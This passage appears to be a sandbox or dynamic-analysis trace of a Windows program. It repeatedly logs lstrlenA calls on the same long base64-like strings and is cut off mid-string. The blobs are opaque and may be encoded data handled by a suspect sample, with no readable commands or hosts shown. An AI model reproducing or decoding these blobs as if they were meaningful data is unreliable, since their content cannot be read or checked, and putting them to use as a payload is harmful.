QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="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